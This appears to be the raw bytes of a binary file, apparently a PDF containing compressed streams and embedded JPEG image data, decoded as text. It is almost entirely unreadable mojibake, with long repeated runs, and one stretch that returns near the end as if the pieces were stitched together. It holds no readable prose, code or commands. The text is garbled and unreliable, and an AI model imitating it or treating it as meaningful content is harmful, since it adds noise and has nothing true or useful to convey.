`14+PEɿESre\8o}}AiG}}AiH$fBKտVvpaT~V@{ӄZ/?=Ò]fyWyW{HIv4/@;G@;GpaqI""HN"+0;O ~?}}Ah<*SGv{H$uDVvn@{;GpasQZ}Z}@k;F_P9i O֣kTo }}Ah}@k;G->iv#ԛԻo }}Ah}@k;G->iTۈ_ы_pڸْ'qsM,i6l=0?4~}}Ah05!?m~}}AhF\yT7vzo?>9+.ESMR-A}}AhpbH^ }@{;Fp\<4=}}AhqK梹n!)G w㴞U?'(?b B=^ʼn?\L*U/?;={@W_lwҰ>c ؿjQSW`ݿD-oh{W?_Qbk_vvM@KҼ{ȿ/mB<  0}#Cb y׿uo;Q*t͡Zs7`B_D!a?t>uo;K^bcJ/[M1?|vv:ݿQ[1 N2N1)IcUrK1s|aa`Ѳ׵tm糹i1J7/\u#}FZZ*6+s[o' '!0 7Z(cp9ʁe?mL*{.k}:mp쌘>dF~2*B_ ׌WPh߸eFYgˆFp8+H8ޓqktl´VtIk#DcQ˯A*on*fƏO #ɱ](wnœ{=?CfӼ'y~7q;稫2K̆?cwv9"z+mr]?كz}֤+Nw6eʲw0} hpzzW%6=#^PiK0vڔI# 䞫q\WH^gT%bqn d)8b!g?t)I,u$UM۲ck[Vͥ&i/,Fזt8?#˃t knBHcGWC,}cU<9P]>h]].o4}..Te>jGG* o5_ˣˣcƏʂcGWAvXƫtytr,}cU<9P]>h]].o4}..Te>jGG* o5_ˣˣcƏʂcGWAvXƫtytr,}cU<9P]>h]].o4}..Te>jGG* o5_ˣˣcƏʂcGWAvXƫtytr,}cU<9P]>h]].o4}..Te>jGG* o5_ˣˣ\\+`8ϩ\U oEZ#KVw[X\²#r܌І UR% ne7].΀³nǜ~xJdp fT|w0+:PSJrrpŦܒ G]6?'7Wwnt;|˯?)p}ƤcҲqmKpDr~&0ŀ/OR5)fU@&PnХ];[^decf.K{aqGJ.K+I2ydu)gvo ?\-kf*=v1ZEs&9T:֓8$r!R+ثu+.pBK;pOE$[h7dI.Rn\FzgPM6svQ<ԙASC[Ӵv# ̪(m'y2NpjM4Rimٿ&_*6kMp~!o6j Z6<ʼSV5vEș]rԷv$c2uf ?ԊtiͦnŃ>vzz_69( -<Ue}V$#$5 ,i  `y~m`~5ڞ}uDGUY[B0nGSj^Ț׍4+۾M:龝YMцURd6C*@o\C"*<,Whl2qUi5τʲ|۝Y+kVӠ8~1 ]k 8N)1x p$ݪUqrk`"[mQeQ H<FTQ]VVַKiy]wz[N륏v϶e⩏igǢ1fXA1.j7e *v @C򠹙dw.KsiҴV2H"^N++R#ZLUmO^>: I`)Y cs\{__8 u },/ GbqLo4=_pyY>}ea, y D#.]VBv@N+ OA%*2 `u?{_٫^Nt=k[#;$>jô/Pj׬zY8kA 'x=c9cs{\b?0qZch|R2zFayZTNm)Cuy[¶427u3VTg*N&8x ME~_͇~NO F`^_i?֍a6dm ;x}GZ[iRȺ,X}G xq]1Wvsj1ol.wFrv+) EJ6 I72V6YjYvsuN3Z,ZhYe[*uߧN(yR؏wG*,b$褂R^4R2ᵅC[Zx< u|zz<H̀q®b96<66vX2pΠ3iKLUY[>LUݛe\ ݛe϶/VhV϶/G}fE}f?7U(7Qmٿ&_*Emٿ&_*o2Uf.oo2Tgvo 4Qp+gvo >LUY[>LUݛe\ ݛe϶/VhV϶/G}fE}f?7U(7Qmٿ&_*E¼ v͝wJ- 8#^`Ѳ׵_;x/_ =VIImj<ZPi&K*NA%;o'gpd,z(=L;[!&bVg&YJALQhjQaA_Pe$W]nZ$r;YH#5ί40kwFPؿ Cb xJ.pNFv待khbvE=S779&o&w\u6hjWd*N]c:qĎ?^DM2iy1ò7f*һ-Q<ާm㆛aA_G)NRI>c^.;%FFǡa<h/$cQ Ѱ?/FPؿ…9%dv)amXB$DzUGzO&OO&&OO&Zj|V\czZ~.Flb2Կ4y2Կ4_h?)jkdz +z_&OO&&OO&np/o}#bkuM`yL/ML/M:R]= v:mMqk }5T>L/ML/M9?!]Au]. ^GC}3Guvu}~\ ݸ ?_?7ד'K'G'K'D=raM[ x3_R8Fa6q'9údU!gU~?RI?RI/z\pM(j<ZPi&K*NA?&I' 뼙?_?2"ƊUF-qn\|D>&bEuZRu鷖dJ0˔<uj֯ssW0hL)ǎ+7?1y)<zWn"#o^Fu\ӡf(#(((((((((((((((((((((((((((((((((((((;g^w2 O5_-{^!?ѐW|hOrkE#լZ ?WEݽw%P! +s_KN+agz/sDAAK/OsI'&"=iQYJ!HF@KNQ>0fzō1α.,Dn[G 9hkg,D#uRh)e 5G]~.Fd.+A$^;Ѯ4ǀ'+ ~|q֕,-J SE)e 4ni?<7kb4h'UlApI#rķW62&?-;Y,ePs=8Sy=ܥZ.*KfuۚO,!?Ə'_\@񏊬52YӬat|;,H"F7o !廗%Y14ѕ+_aӫCGsI'yaskdtM=23T Z?kVkƂ˕E,BF]OAEl/Y{jvH"2mL~ۣG?mn-Iҏ:O~bGۣG?mly{Γߥc?b[t(@n-}?ǝ'Jt(ţGC|mI;&FҢmTc/S5âf'Wd}?bNҼUg:ۊy$t!k[Γߥ01 Z?ht1hmHVT1PN:Ry{ GC|> Z?kcΓߥt(ţGC|G'Jt1hmţ Z?kcΓߥQm~4Lܟl2vd8*z{RXbGۣG?mL%M/URB!ON8ǧZLF?ۣG?mn-<]ld],R1 $iUI’\cp'+ F[8 flpA#PH=A"> Z?ht1hmZy{LQQB35oΓߥc?b[t(@n-}?ǝ'Jf N?xzONյIҸ#AVrT:;dC mHc6vѐWiOjku?FA^'F?e_ =^IuIkEk&ŭ8xUD2j 0\\݉B.R6%M :bQGs㤼9U 3Ks;!f XFI#\JmIa rosj/HсYNxVoĢ;-k{)Ţafxc/.lnMs5C~Q #]?qC3S tBDmԡ{RVfh,ljɠ'lV5]stFvI[}p5C~Q #]?P_WS #gR𾬓_Z <_i-xض䧚UgdfE9[O=,HVR6a@A V,w߱Bb?U7a?\U\@:q,hy-ie+<#h ^8^A #]?5C~Q Ea/~WG,w߱}C0? +dkއF >_ja?{5C~Q #]?P/?0?=Yc(z?b?_ژOEx,w߱G1L'J׾a+ T&Dp.O;YN+&r̓(+NFqڥ?uI-O3I`L*ןjxcVwsZ7=WpE50df\p?OcYU\\\hMZ|Z]YHbrb3,w߱OtFŷ/N66m8ç1NDJs*"dq"\qy-f>-X)w72H <{F ?dkއߗ_ژOvTeb˯Ro=+֟.%DSMF!#2@1JvWG,w߱}Ckr+xKߟ{5C~Q #]?P/ژOEx,w߱G1L'`F ?dkއWGQ^? #]?5C~Q G+S #(z?Yc(#aWG,w߱}C0?7F-w'wɨ$T'ԭmRXHY8J89G"kR񹄣V G+S #4/5TdqYj k ݪ,1]$e3ȪD4y pNzs|D`/%b%xPߊ,w۪߱L'  \6$[EI BHo1aJէet];[yJAA Bcr5C~Q #]?WqL'TM;ɦ\,YhJ)͐vQT74T4{ߕII?3Dp F@O,w߱KWFfA[sslڿ- b9 w^7!>~qk"֧8e  TdkއF Q}GIa|Siw.>3M5wi ds]x,w߱K[_/<%?=Yc(z?b?_?L'`F ?dkއWGQ^? #]?5C~Q G+S #(z?Yc(#aG} тYc*]#W4^9)Q7Lu๥*#-_#ѵ/FA^% O-{v#-z\+~6q?eWu=Yk-N+37޵s֭Um`qUsBu;[+_m2Hzzgߦk;hHZ㓏o}[VRl"a$)ŒֽMBIsǖ*V\[=l<=oKvga$RNzs46ѬT#0ʥb.[b3 MHP+*xKB cPH9%ɯC0Ƶ*iuRJOY{k{MypT.0+d/Kn1 ? Ɉ_&a1WⰿWDn/ĺ&`j1KK|c̛z,-~ݨZy?:Uyۓ |InIy'd/+?b/*0*.mu"xzWTbKjb+yR b1>_c$E]`&KX#i]\ XsB1cq>8.' ڪfg.ݻ1;gzZH~}o즓OcW6H A@*pzOy̽Nq,sQLk Irr1pix3ƒ2[Nx#vy x,+&f,mMެ7xJJW_x97ӣZu7bP{+nin6zX mVl̅@6?zDK)Ju~nO'sJ<r`UK Uao/ FO,>_h-ȏ|/ӛH[47dF*?yxWW`_#ddr𗍢M7)*8u@9=o⮽M9_/FszVp_Ȗ}W99 UJ|{9'F~E⫢5$<-w&73_@nu UcWN]z3B;-&=*;Va83%K!GH91К|G P/*8B8(Þ{g+V>0hxZ2Y whI$aTSx+W<<;ԒNt+UYÕRi?hO7#Q'?Qu꘏s9+ğ Tx?*Qu#v'<U?*Qu#v'<U?*Qu#v<Ux?*Qu#v<Ux?*Qu#zX[X\ y8o;#U5;{Sk \n&$Pu5\0Փ֛}hN%yRʄ(v9# 2hv:s\$>uܦ@6Fxx=}xX..VHxW2W/Bjxsm)nAM":ǵaKu{9'/Ԇm7ZyW+vo ,C7 Kk 4{CLcZwP5ߙ+!i0T>`c15c"9-z=5Rҝ>,Eg%vjvL3춍%ّRz1ȱX]jkj4f5/$rTG#ppx#P Fѝg2J Fw~T}ƶ-0$ꪒz5;|k^pu}޿^Ƅ[Zs!(90rN1q2"JXe$fmk~G'q|W}72[y$YKf/>]=MC+if[^O&P3 GVs_/e8Ɯo1[: Kx A$fLLnlaqǵWuo7F};Nlbp]89n;RmiRKpR$yAqJ45XNV-3XMPBʨ!6G#0Qst>F@#vp#`Le޸5J~*QO<I-ҳ tjҼl pf3Y )IM}ƕU&7_f}Εkoz`h)??(Q1GyG5TzQI- ͹xEjrp$#9oB'_aB7j{m d_@B+\.sI8Si~i8ӪӳwܬMmR,.ݵ|1<@ڠn^"J'{{!e$3l1#Af@  9}ŲJ.^EjH~>lTn^eZQz70;EҞTk4UwZwih۲eI 9Kmq"_F5%4-* 761~cn盥ߟ]۳4(0 /H'lΉNV]:)N]z>2⸵1j&9o鱁pq @_0S =j4,Ϸ2HY8UAҭɤxX$I/ /^I$n???惩i~#ӧk1['щJTdCDҿfzf#-z\+ľ6ߧ5?l>&Kx,?6ZԽZQm`qZO#=軚Ȳ|.H?\Vo_.憆К(%R( RRJ))M%Q@CEJ(4QE%)(4PhPIJi(@ %J(QE%)(4RRJ)(4PIEJ(4QE( Ph(A RRJ)(4PIEJ(4QAC@RPA JSI@T'3V~?h џץG1jku[X髌YjІ=2IIt#5軚[aP4a]+o_.檦Pt4+#@ %P(QE!E%)(4RRJ)(IE(4QE! %R( RZJ))M%(4Q@@ EJ(E% JSI@!PIA J(QE%Ph( RZJ))M%( %P(QE]auR?h ~({\+ľ+{Lp׶Bq !3GKZ/gYmL+ދE/g"Iu#5軚u6^SIX!PIA J(QE! %R(4RPA JSI@%)PIJi( %P(QE!)(I@!PIAIE(4QHh %Ph( RZJ))M%( %PQE)(I@!PIA JSI@T'fuO4Zn?d_??9t%z+,9tOiº]r! ?WQ'Eh: Y EJ(E% JSI@%)(IE(4QHh %R(4RPA JSI@%)(4Q@h@ E (E%RRJ)( JSI@%Pi(E) QI@J) -% J J(QA %RPEJ(]_3Vi?4Iαm^2 /_0_-{w1m^2 /0_-hd3B0OދE/g"Iuo_.抛/AéRRJ)(4Pi(IE(4QI@J) -% J RQE( %P(QE!E%)(4RPh(4Q@h@ E () QI@J))i(4RQE( Ph(EPhPIJi(@)(4Pi(U.IUV?h "ͷz+ľ.Ŧ9t!ͷz+.Ŧ9tN iº?ez/s\VO&I#-軚*lRVFA CKI@%)E(4Ph(@ EPh)(I@!PIA J(QE! %RPA CKI@%)EQ@)(IE(4QHhJ(4RPIJi(4RQE( Ph(EPh)(I@!]_3VT'fCGͷz+.Ŧ9t^%8;\+-L?_-i.̟zVO&I#-軚,B0OmދESeoJ(D4QAC@RPA CKI@%)E(4Q@ %J(QE%)(4RRJ)(4PIEJ( %RPA CKI@J) -% J RQE( Ph(A RRJ))M%Q@CEPi(E) V?UnIⓍR?du/GK^ [׵Ot-hd3,A0_mދE3g" Ito_.抛/@SzVFIJi( %P(QE!)(I@%-%)(4RRJ)(4Pi(E) QI@J) -% J J(QA(4Q@ EJ(E% JSI@%)(IE(4QHhI@J))M%)(4RRJ)(UnIY?_Κߊ)o^2 ??t){\+*wKp֋fO=RD _ ]sVOL+F[w4TzM(5PhE% JSI@%Pi(E(4QAC@RPA JZJ))M%Q@CEJ(4QE%)(4RRJ) -% J J(QA %RPA CKI@%)EQ@CEJ(E) )(I@U'uh[/Mwkxoi:ZZn?d_=8kE3'g$iºIez/s\_ ]6^Sz+#@4Q@h@ EPhPIJi(@%)EQ@CEJ(4QE%)(4RRJ)(IE(4QHh %R( RZJ))M%(4Q@@ EJ(E% JSI@%))M%( %P(Uk/Vj_󦀽o [׭O/[xŏ_-hd3l ?WG7Ek{k`4a]2[pnZJ))M%( %PQE)( %RPA CKI@%)EQ@CEJ(4PhE% JSI@%PIJi( %P(QE!)(I@!PIAIEJ(4QAJ(@ EPhPIJi(@U+uf\_:h ^n?d`?:Zbn?d_a?:Z gY=0o-ދE9g$iº9dz/sEMܢCYRPA CKI@%)E(@%Pi((4QI@J) -% J RQE( Ph(A (4PhE% JSI@%Pi(E) QI@J) -% J J(E(4Ph(@ EPh\_:U+t^#ͷz+ľ-æ9t"ͷz+ľ.Ŧ9tS{m`4a]2[rIItso_.抛/AéIEJ(4QAC@RPA (E% JSI@% %Pi(QE)(I@!PIA J(QEQ@CEJ(4PhE% JSI@%Pi(E) QI@J( RZJ))M%(4Q@h@ U+ubO! +t~"ͷz+.Ŧ9t"ͷz+.Ŧ9tR{k`4a]1nIIto_.抛/AéA4 JSI@%)(4Q@h %P(QE!)(I@!PIAIEJ(4QAJ(4RPHii(I@!PIA J(QE! %R(4RPA JSI@%)(4Q@h %P(QE!)(I@%-% ?_^ҿ/M/ ׭OZgGK^/ ׭OZgGKZ/g>0oދE7g$iº9c]6^SlE4) )(I@%)E% JSI@%Pi(E) QI@J) -% J J(QA(4Ph(@ EPhPIJi(@%Pi(E)(I@!PA JSI@%)(IE(4QHhJ*ҿ/V*ҿ/M/ ׭OZgGK^/ ׭OZgGKZg>0z/s\o w4l%)(IE(4QE! %R(4RPA JSI@%)(4Q@h@ E (E% JSI@!PIAIEJ(4QAJ(4RPHii(4RPh(4Q@ EJ(E)(I@!PIA J(QE!CJXCJ43m^2 ?1i_-{g3m^2 /*-7Wd3Ԭ[ ?WG?prIIts軚U6^SjE%dh JSI@%))M%( %P(QE!E%)(4RRJ)(IE(4QHh %R( RZJ))M%(4Q@@ E (E% JSI@%))M%( %PQE)(I@!PU_:CJ43m^2 /1i_-{o3m^2 /1i_-j7g$iº9c]sOL+F(?ދEҩu6%J(QE%QAJ(4RPHii(4RPh(4Q@h@ E PhPIJi())M%Q@CEJ(4QE%)(PIEJ(4QAC@RPE (E% JSI@% %Pi(QE)(%_:! +t#ͷz+ľ.Ŧ9t#ͷz+ľ.Ŧ9t zo ?b]sOL+w4lMJSIY% %PIAIEJ(4QAJ(4RPHii(4RPh(4Q@h@ EPh) )(I@%)PIEJ(4QAC@RPA JSI@%)(4Q@%Pi(E) QI@J) -% J J(y!_Χ%_:h _fn?d??b?:Zfn?d_a?:Z g>0F(?ދE7f ?WIq#Eh:QIYJ( RZJ))M%(4Q@@ EJ(E% JSI@%)(IERQE( Ph( RZJ))M%( %P(QE!E%)(J(4RPIJi(4RQE( Ph(EPhPPK!+u9$_:h Ofn?d_a?:Zfn?d_a?:Z gٷPviº{z/s\iºz/sENS`QEdh!(4Q@h@ E (E% JSI@% %Pi(QE!)(I@!E% JSI@%)(IEQAJ(4RPHii(4RPh(4Q@h %P(QE!E%)(4RRJ)(IE(4QHhd_:B:WE5|I!oѐW|[Lrk|I!oѐW|[LrkE3'i"EIuw?1A_.YmďIEv7?1A_.抛/@SbVFA JSI@%)(4Q@h@ E (E%RRJ)(IE(4QE %R( RZJ))M%(4Q@@ EJ(E% JSI@!PIA J(QE! %R(4RPA JSI@%)(5ҿ/ST2GJ违4?1m^2 ?0_-{gmѐW|Y$gGKZ?HEwO&\軚m(KSP4a]50sEMCEV&(QE!E%)(4RRJ)(IE(4QHhJ(4RPIKI@%) JSI@%Pi(E) QI@J) -% J J(QA %Ph(@ EPhPIJi(@%Pi(E) )(I@C'tƠ_>lk0 _ivӗGK^߫q!1?eW̟wʾ <aexY5ĔG+~K?9mԏμ(vՆvbGJh`pi3GzdU:zEыx^M'_j?a$*CBOM)6?EGl h|ia$*>c@H?Th)Oc@H?T}߈rϽM{  QA~"@'MnO)>c@H?T}߈jϽMoS} o&6?EGl oS} o&M;6?EGl o} _&>/O  QA~"@{bϽKԟa$*>c@H?Thl_9OMKA~"6?EFE>׿/G^MKA~"6?EFC>׿/Gڇ^MMA~"6?EFA>׿/Gڇ^MOA~"6?EFWPkC}_&}߈  QN׿/Iv9A~"6?EFVO;^M'jl W{r4}_&}߈  Q>N׿/Gjl O?{r4y}o_&}߈  Q>/I9A~"6?EFRM'{r5{6?EGl 7Msϭa$*4{r4y>/Wc@H?T}߈ 5h_}o_&>c@H?T}߈ 1h}/_&~c@H?T}߈ 1i<K/a$*479M>/Za$*>c@H?ThfK'^$Mj}߈  Q{Kt{5A~"6?EFen}/_&ϥK֯l OI3'^$Mk}߈  Q9|_&2ϝKֿl %i3/$Ml}߈  Q;{5A~"6?EFc~|_&M>w /[?a$*>c@H?Th.&;ϝIl $i6>w '[a$*>c@H?Th&ٿ$i6>w '[a$*>c@H?Th$i6O>W '[a$*>c@H?Th$h?^$Mn߈  Q;'+/a,nݎIu"/9--"dGHee A9 FC^+F?eedi5b:^3F?eW̟wֱF|j|iºMGYH7:9-mw؋$yH ͟  %sGs^P-\̧ W쎟Ru>yeFq[iZ&d$6 7ʤx⦱ ->>M9c\L`@BIQsUFtLe:PA%LTdGh6W2ܻwP"@=rsjO BWkIfY#40`2dR mͷd zChVO\&ef*\b2*:V t[(o%c”w=jşƵq\ 5DU]s+19灁OOӇ:mƧҙ26*Wc0ʂHxαE(ȴ5dVѕI+78yg!ҼC&zC,GɒG2}=rM;-/7My{zdl=tzK>;hO-$f8urU4SoN6,giШDzNJ/%ׅuK$X'Ԡ{U(Uhe๑㞀- iwz1Q@XRIYUk^ݛ[kQw8Ppc|`qjESs8cEn T޼FkgSZxc* B|@ivMHmgZ]/HByz-ǂHm'/*V@^=r2:ֹ|7g.e1YhUq"@N8i}p{.{u}u'M:ѠS;;/,s:&@J8 --K 30_a̠$@f's2"NΖgHZO3 7@I^.S}X_j6S|ч4b6 1i c+gs=/_$F6-FPv~`8Ǩi1ڸgݙUbw6NH<E-#:M6ivh&itoPҥ;N Uwڵ4w=Lc@'N~G+~%Q)$u-G6Aݜq־0ҦinNdhGPʾv]95='T ?Q qqf+(IJyOS֢_No<^QwGB$g9Ki~75 g(6s$XTsֵa{%v{H`vl|195xn}7W7o~@i &d;q Q5 u Hlcn]Մ`@ AM]oT 8./'1*paE3X#cT}iW@dw+yg6G(ʉ.pͷ#5o뉦ǩ,7K "|NT9m;VG (a=lg ΢39ڽ1GP-ώZ6&3dfPpFk77ZBf,wHLӥF&k﷧Mɺ<9#~m692$vAܖp 8I X<䬇WmּoX\I$F%ЫA߷ñCupR\% EP7?2+7Bk[+:;OGklCDg9-j$ѭeƝmck]&׻6bJmKgo-cqg1u'<6cYsv}W/m%*,s+J}(C ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( (15v >kž08oieeThO xM_-l2S  Uw*ydt P\iz]isuoA;5_?_oo ūlUQr˹گ'}AƨU(?| bտ6O*KMCTsGC]](?8]_PūlU-[d,Bbj}/(?| b6O*KMCTsGG.)AƨAK5_<_o ūlUPs}To?/7 ZQ b6O*h(r˹> _P7RW-_d1j'G49e}/(?)AƫKMCT_o ?}jU%&W??/7 ZQYw>}AK5F _PūlU-_d,C̾?/7 ZQ b6O*h(e̾o)AƫKMCT_o ?} _NRyU%&V??/7 ZQYw>'AƨE(?| bտ6O*KMCTsGC]ϠA;5G/'AƫKMCT_oo ?} PONW-[d1j'G49e\_PxRW_-[d1j'G49e}/(?)AƫKMCT_o ?>Yw>}AK5F _PūlU-_d]ϡRP^jx1j'G%&W?9sS%Ϳ/7 ZQ b6O*h(eͿͿ/7 ZQ b6O*h(r˹'AK5KRW_-_d1j'G49eͿ3jbj{1j'G%&W?9.&PTi?'AƫKMCT_oo ?{ڵ ~P>רNW_oo ūlUPs߾רJQCWߔjūlUx-[d]~fA+5Go%}Aƫ./ ZQ wbտ6O*h(r˹V[1K5_=]_o ūlUPs}To?/7 ZQ b6O*h(e}/(?)|ƫKMCT_o ?}jU%&W??/7 ZQ,C}/(?| b6O*KMCTsGC]ϡZ[1;5Q1;5_?_o ūlUQr˹kwU-[d1j'G49ejT}P1j'G%&V?9.PVA;5_?_oo ūlUPsjTi/7 ZQ bտ6O*h(r˹u ~P>ӨNW-[d1j'G49e(?//'AƫKMCT_oo ?} P>A;5_>_oo ūlUPs/>wj>wj}1j'G%&V?9.^}(?}(?| bտ6O*KMCTsGC]${BTEzxi&> stream xko6~,-DĎkiR']`֖׋ګ4? %^Gl\S82g83Λ9z*뒽~},w :,]~[G|1-v*n`6I&2MÃ`à -ћю/~,yy{x XVr=~K%=$l?".><8B,՜eS#V #ug ki<ɢ~aM0} QYxqG~S46AJRIn* W%5\Sh>=Ld 6,66E m]%Y=JDk- ĦGj:hB2J`/`68^TS8{֡? nʽA$B?8")_R@ w%u Vg7I^b}XsŗPݫtDg^SoƎa:ˁٻ}*vt5‡w,9e(_LΎ(x~`/%I o>oxv؀gJE/y?]+TgH .oGN32Zw p<=}ԌjҩġtZg5j+No!zvL\#^G2 ךe"mD]fo1|iSt†|\y6&v !CVW՛'h5g]X//}F#iBоA9Ua|\FvSpZ9\eok?ְ z iUrPFzH}ȵ D#5h߲xbLc_]MPos,`D/Uia,^U;Z` Xe<%ֈXhv d(Vs#^ʢ̧Go%hWh.*߾\Yΐ9:bԘf X%u3>q-&n2T@z%}΂{ 6kP{w' _Hh2,4@l@`r R+mG[(ߘn$ X =3''cQ"e?nBQ6,TjH,zL_U`*hoF7v;P:B-1z㽒=%ޫ~|ӷVL@} fl^Ww~g.Lp<] #tnQp_$^4ۖrZ_C| e|Lm2S)  AUgʐ+.jڌH%=7+`sP5^iYɯ16͢fhUl٬|{x5^RM a{Wa%-d^vq}}Ru{p:iGB[- 1 ;G> stream JFIF``ZExifMM*JQQQC    $.' ",#(7),01444'9=82<.342C  2!!22222222222222222222222222222222222222222222222222*" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|=MKMZmO>86C*A$rHIhJq^5σO[襥O9V03{ MB9J+94:RGCdnSUOwqh˗6"1hJ2(7M5f/ L945M`h>kipEf,d+ܜc2BqAm5$ p>n JIkoj_sOmOE7?_MfxVKN[Îa}^pa ^:Gr,&t .XN'Z_MM>G>?/&11ݼ_m40G>c @'q6[q ȟltWRrG?LU6oaE7gq¾?/iPM &p>|J$9Br`u1S|67"+4 ?0vm<9VfP@:G j>Ј #"kOOt^7Mc V%IK~(m+i0^$ƩcK;4;;t24YW=Wd+"(SFfGqWugLǙ7G$*|Eny/˝ nú @E-?7t=jZzeȊ;{s  RnR94D^ȶH̡3}HSn i]u5:43ID¨eqJnd'z*ۡi#!k Ew#s >8XޖV7qjZj7r[.3] %ޟwݪ!- 0\J_KDСoZ3|>F[vҙ2&Oj]v免v<ʂ\1aAe#1OHQy ,*s3j#\[N^Ck]ItEokޥ=ԑtQD_:+CtsO}x1]JT 4'B:#H彬cgk؇z+Gд|!k7PдȁM$>&5i+?hCu s3Ae؈dpwʎ*(cdέuyQp8^ i馛sm'tEnţhC3֛iJ8S,e}]m8mBO6L@F+͜R[h&\O3Kmh#"jQP)>Sc9sDѓ84A[&停RJ1%)w+âht-#!jGtD ǰs3 :GE;EAZ@|?Mn0Ozc9s҄big5m('A?&_6H+h mSiI'5bs4h:_MHrx{B'H@GEֈP)٣v3e740 #"jдv@#5"Z)ZGCֿTv"G*ϹɧhzG jHt&ZINzQʻ3VDЛtq{@?/&sKv3F<5214ׇGE֌rdSQʻ39tM @?/&i[[5 Y\6?/&MB'@:GE֊[ s2s@#@GE]Kú FWBҔQ 8^?U-ar:c+(߆ _M8xgebk PKrfXc>04׈?=fbӹ|36ߟ{AHY\Dp<$ƪ!..eY@KB;.'#jatG=p31Q$F,i;+;UPCc*z0iHТ+Y ڲ [#1V%ۈm].=cq,|nօ>=A4|h^O38y2Yi/-ز*7G\j_j\X`p Џ41[iCk,~t;m4guin6~,ڞ?nhzzV4R4?h6ыAѩ3MuF)&ߕhFb r#X۶ʂ\uugh/H\^pFvk |Q==O?¢UړFBTԴM R!}Tw[:p"*30|lGnU?!:=xֳ:VtȠ1pC1(\/miNcr&v'q javj? 㴒pʷDKKvvʷf R1f3p1+xj[egl-Vh ecã)32}kC}}Ai|G7v_sn ca K#y"I)r:*q1ƒg\x;óꖺҬỷ7l6HXeܞ[w\/QM}}Aj {UCb9˾B^6,X;iڟFfjqF.M(9- el*08zo?^@;E=ı<̪r; `14+PEɿESre\8o}}AiG}}AiH$fBKտVvpaT~V@{ӄZ/?=Ò]fyWyW{HIv4/@;G@;GpaqI""HN"+0;O ~?}}Ah<*SGv{H$uDVvn@{;GpasQZ}Z}@k;F_P9i O֣kTo }}Ah}@k;G->iv#ԛԻo }}Ah}@k;G->iTۈ_ы_pڸْ'qsM,i6l=0?4~}}Ah05!?m~}}AhF\yT7vzo?>9+.ESMR-A}}AhpbH^ }@{;Fp\<4=}}AhqK梹n!)G w㴞U?'(?b B=^ʼn?\L*U/?;={@W_lwҰ>c ؿjQSW`ݿD-oh{W?_Qbk_vvM@KҼ{ȿ/mB<  0}#Cb y׿uo;Q*t͡Zs7`B_D!a?t>uo;K^bcJ/[M1?|vv:ݿQ[1 N2N1)IcUrK1s|aa`Ѳ׵tm糹i1J7/\u#}FZZ*6+s[o' '!0 7Z(cp9ʁe?mL*{.k}:mp쌘>dF~2*B_ ׌WPh߸eFYgˆFp8+H8ޓqktl´VtIk#DcQ˯A*on*fƏO #ɱ](wnœ{=?CfӼ'y~7q;稫2K̆?cwv9"z+mr]?كz}֤+Nw6eʲw0} hpzzW%6=#^PiK0vڔI# 䞫q\WH^gT%bqn d)8b!g?t)I,u$UM۲ck[Vͥ&i/,Fזt8?#˃t knBHcGWC,}cU<9P]>h]].o4}..Te>jGG* o5_ˣˣcƏʂcGWAvXƫtytr,}cU<9P]>h]].o4}..Te>jGG* o5_ˣˣcƏʂcGWAvXƫtytr,}cU<9P]>h]].o4}..Te>jGG* o5_ˣˣcƏʂcGWAvXƫtytr,}cU<9P]>h]].o4}..Te>jGG* o5_ˣˣ\\+`8ϩ\U oEZ#KVw[X\²#r܌І UR% ne7].΀³nǜ~xJdp fT|w0+:PSJrrpŦܒ G]6?'7Wwnt;|˯?)p}ƤcҲqmKpDr~&0ŀ/OR5)fU@&PnХ];[^decf.K{aqGJ.K+I2ydu)gvo ?\-kf*=v1ZEs&9T:֓8$r!R+ثu+.pBK;pOE$[h7dI.Rn\FzgPM6svQ<ԙASC[Ӵv# ̪(m'y2NpjM4Rimٿ&_*6kMp~!o6j Z6<ʼSV5vEș]rԷv$c2uf ?ԊtiͦnŃ>vzz_69( -<Ue}V$#$5 ,i  `y~m`~5ڞ}uDGUY[B0nGSj^Ț׍4+۾M:龝YMцURd6C*@o\C"*<,Whl2qUi5τʲ|۝Y+kVӠ8~1 ]k 8N)1x p$ݪUqrk`"[mQeQ H<FTQ]VVַKiy]wz[N륏v϶e⩏igǢ1fXA1.j7e *v @C򠹙dw.KsiҴV2H"^N++R#ZLUmO^>: I`)Y cs\{__8 u },/ GbqLo4=_pyY>}ea, y D#.]VBv@N+ OA%*2 `u?{_٫^Nt=k[#;$>jô/Pj׬zY8kA 'x=c9cs{\b?0qZch|R2zFayZTNm)Cuy[¶427u3VTg*N&8x ME~_͇~NO F`^_i?֍a6dm ;x}GZ[iRȺ,X}G xq]1Wvsj1ol.wFrv+) EJ6 I72V6YjYvsuN3Z,ZhYe[*uߧN(yR؏wG*,b$褂R^4R2ᵅC[Zx< u|zz<H̀q®b96<66vX2pΠ3iKLUY[>LUݛe\ ݛe϶/VhV϶/G}fE}f?7U(7Qmٿ&_*Emٿ&_*o2Uf.oo2Tgvo 4Qp+gvo >LUY[>LUݛe\ ݛe϶/VhV϶/G}fE}f?7U(7Qmٿ&_*E¼ v͝wJ- 8#^`Ѳ׵_;x/_ =VIImj<ZPi&K*NA%;o'gpd,z(=L;[!&bVg&YJALQhjQaA_Pe$W]nZ$r;YH#5ί40kwFPؿ Cb xJ.pNFv待khbvE=S779&o&w\u6hjWd*N]c:qĎ?^DM2iy1ò7f*һ-Q<ާm㆛aA_G)NRI>c^.;%FFǡa<h/$cQ Ѱ?/FPؿ…9%dv)amXB$DzUGzO&OO&&OO&Zj|V\czZ~.Flb2Կ4y2Կ4_h?)jkdz +z_&OO&&OO&np/o}#bkuM`yL/ML/M:R]= v:mMqk }5T>L/ML/M9?!]Au]. ^GC}3Guvu}~\ ݸ ?_?7ד'K'G'K'D=raM[ x3_R8Fa6q'9údU!gU~?RI?RI/z\pM(j<ZPi&K*NA?&I' 뼙?_?2"ƊUF-qn\|D>&bEuZRu鷖dJ0˔<uj֯ssW0hL)ǎ+7?1y)<zWn"#o^Fu\ӡf(#(((((((((((((((((((((((((((((((((((((;g^w2 O5_-{^!?ѐW|hOrkE#լZ ?WEݽw%P! +s_KN+agz/sDAAK/OsI'&"=iQYJ!HF@KNQ>0fzō1α.,Dn[G 9hkg,D#uRh)e 5G]~.Fd.+A$^;Ѯ4ǀ'+ ~|q֕,-J SE)e 